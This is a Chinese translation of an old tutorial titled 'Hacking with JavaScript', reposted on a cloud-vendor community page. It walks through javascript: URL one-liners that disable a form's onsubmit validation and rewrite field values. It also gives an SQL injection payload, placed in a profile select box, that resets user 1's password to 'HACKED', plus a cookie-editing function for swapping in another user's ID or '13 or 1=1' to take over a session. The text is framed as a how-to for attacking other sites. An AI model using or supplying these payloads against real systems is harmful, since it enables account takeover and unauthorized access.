Hack With javascript

來源:互聯網
上載者:User
非常不錯,對我有指導意義
-----------------------------------------------------------
文章作者:無敵最寂寞[E.S.T]
資訊來源:邪惡八進位 中國
原文出處:Unknown
聲明:本文是國外一同行朋友給我的email中附帶的,原作者是一個叫Dr_aMado寫的.我連翻譯帶實踐花了一個小時的時間,所以轉帖請註明出處.

HACKING WITH JAVASCRIPT

本教程主要介紹了如何利用javascript繞過一些簡單的或者更進階一點的html表單限制及cookie/session驗證.

簡單的表單限制

1.繞過必填表項

你會經常碰到一些頁面需要你填滿所有的表項才能提交,但是我們完全可能繞過這些限制.如果你仔細看一下頁面的原始碼,然後找到關於表單提交的那部分代碼,你會發現form標籤中有一個onsubmit屬性.當你看到這個屬性的時候,我們就很有希望嘗試一下繞過這些限制.大家都知道的,javascript可以控制頁面中的所有元素,包括表單元素.因此,我們可以利用javascript修改、刪除以及添加任意元素到我們瀏覽的每一個頁面.

因此,我們就可以利用javascript清除表單中的ousubmit屬性,這麼我們就可以不受限制的成功提交表單了.

onsubmit 屬性通常指向了一個函數,這個函數是用來檢查提交form表單資料的正確格式的.(譯者注:我這裡以國內某免費郵箱申請頁面為例):
function fCheck(){
if( !form.readed.checked )
{
alert("您需要接受服務條款後才能註冊!");
form.readed.focus();
return false;
}

...
<form action="reg2.jsp" method="post" name="form" onSubmit="return fCheck()">
...
</form>

關於fcheck()函數的詳細介紹不在本文的討論範圍之內,怎麼編寫還請大家自己去查相關資料.通過上面的代碼大家可以看出來如果你有些表單項沒有填寫(比如一些單選了或者多選項等等)的話,表單是無法提交的.現在我們就要修改onsubmit屬性,利用javascript讓它直接返回true即可以採用下面兩種方法:
document.forms[x].onsubmit="return true;";

or

document.form.onsubmit="return true;";

使用這兩個 語句都可以使表單無限制的成功提交.但關鍵就在於我們如何執行上面javascript語句呢?其實我們可以直接把此語句輸入到地址欄中,然後斷行符號就可以執行了.語句如下:

javascript:document.form.onsubmit="return true;";

但是僅僅是上面的語句是不會成功的,因為上面語句返回的值會被直接寫入到頁面中,我們無法繼續填寫表單了.所以我們必需避免值被寫入到頁面中,方法就是利用alert()函數:

javascript:alert(document.form.onsubmit="return true;");

運行上面的語句會彈出一個對話方塊內容是"return true;",而不會被寫入到頁面中了.現在你可以毫無限制的任意填寫你的表單內容了.(譯者注:以下測試是以某國內免費郵箱申請頁面為例):

再沒有釋放保留前,如果密碼你沒有輸入的話會彈出如的對話方塊:

這個時候我們按照上述俄方法先查看其原始碼,找到提交form表單的那句代碼如下:
<form action="reg2.jsp" method="post" name="form" onSubmit="return fCheck()">
知道其name為form,下面我們在地址欄中輸入如下語句:
javascript:alert(document.form.onsubmit="return true;");
然後斷行符號,如:

這個時候我們再重新註冊以下,密碼欄依然不輸入,然後提交表單結果如:

呵呵..是不是繞過去了...繼續發揮看大傢伙自己的了.

2. 更改表項內容

當你成功嘗試更改了表單的onsubmit屬性可以做你想做的什麼事情後,我們可以想想我們到底受到了什麼限制?當然,你現在可以修改表單的onsubmit屬性了,那麼同樣的,我們可以利用此方法修改頁面中的任意對象.就像下面這樣:
javascript:alert(document.spamform.fieldname.value="Dr_aMado was here!");

or

javascript:alert(document.forms[x].fieldname.value="Dr_aMado was here!");

呵呵,很簡單的三?你可以修改你認為可以修改的任何東西了..just do it!

SQL注入

1.利用表單優勢

SQL注入大家都很熟悉了,我這次主要跟大家解釋一下漏洞表單是否會被正確的處理.

取得資料庫資訊

一個經常用的取得系統資訊的方法是通過故意在sql查詢中引發錯誤從而從網站資料庫中取得特定的資訊(譯者注:就是我們俗稱的"爆"什麼社麼)引發錯誤的方式可以通過搜尋表單,動態連結以及session cookies.大多數介紹sql注入的文章都是介紹如何利用動態連結和text boxes執行sql查詢語句的.但是我認為,這些漏洞在其它類型中更常見(select boxes, hidden fields, checkboxes and radio buttons, and cookies!).

混和資料類型如果沒有很好的編碼很容易造成一個頁面的崩潰.比如對"memberinfo.php?o_id=1"這樣的連結,在其後添加一個雙引號或者單引號,幸運的化你會得到一個包含部分sql查詢語句的調試資訊.當你得到了你需要的資訊,你可以確定出下一步該如何去做.

更改表項的值

第一個應該考慮的表單就是使用者資料頁面.大多數使用者資料頁面都沒有很好的過濾,比如select boxes表單項.一中利用此漏洞的方法就是在這個表單項的範圍中插入一個sql查詢語句.在IE的地址欄中如下輸入:

javascript:alert(document.profileform.user_sex.value="gay/',user_pasword=/'HACKED/' where user_id=1#");

我們假設服務端的查詢語句像下面這樣:
"update user_data SET user_password='$user_password',user_email='$user_email',user_sex='$user_sex' where user_id=$user_id";

那麼插入我們的sql語句後的查詢語句就如下所示:

"update user_data SET user_password='mypassword',user_email='myemail',user_sex='gay',user_password='HACKED' where
user_id=1 #' where user_id=7382";

"#"這個是sql的注釋符.

2.繞過session cookies

繞過基本的session cookie驗證

很多情況下會話處理都是採用的cookie.如果頁面沒有正確處理session cookie,一個攻擊者可以利用此缺陷更改自己的使用者身份為其它使用者.
cookies儲存在"window.document.cookie".使用javascript我們可以擦除,編輯,建立任意網站的cookies.這個要比一般的攻擊方式複雜得多.這裡我只簡單的介紹一下"

查看cookies:
javascript:alert(unescape(document.cookie));

修改cookies資料:

javascript:alert(window.c=functiona(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,(

(c.indexOf(";")>-1) ? c.indexOf(";") : c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return

unescape(document.cookie);});alert(c(prompt("cookie name:",""),prompt("replace this value:",""),prompt("with::","")));

假設你在www.ima13370h4x0r.net以"John Doe"身份登入,你獲得的cookie如下:

SessionData=a:3:{s:11:"SessionUser";s:5:"75959";s:9:"SessionID";i:70202768;s:9:"LastVisit";i:1078367189;}

我們只關心"75959"這個值,因為它是user_id的值.很多時候,你會發現有的網站把一些關鍵資料(比如user_id)儲存在cookie中,這是個很嚴重的漏洞,因為任何使用者都可以修改他們的user_id值為其它使用者比如管理使用者的user_id值.
.
一旦你聲明了window.c函數後,修改cookie的值就變得容易得多.首先把s:5:"75959"修改為s:x:"ADMINID",其中x是新值的長度.比如,你想把75959改為1,那麼你必需把s:5:"75959"改成s:1:"1".有的時候一些網站會使用帶where子句的sql查詢語句保持使用者登入狀態這個時候你需要把75959該為類似"13 or 1=1"這樣的值.

注意:
嵌入的javascript聲明可以加到你的瀏覽器的收藏裡,這樣可以輕輕一點即可.聲明你自己的函數用下面的形式:
"alert(window.newfunction = function (){...})"

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.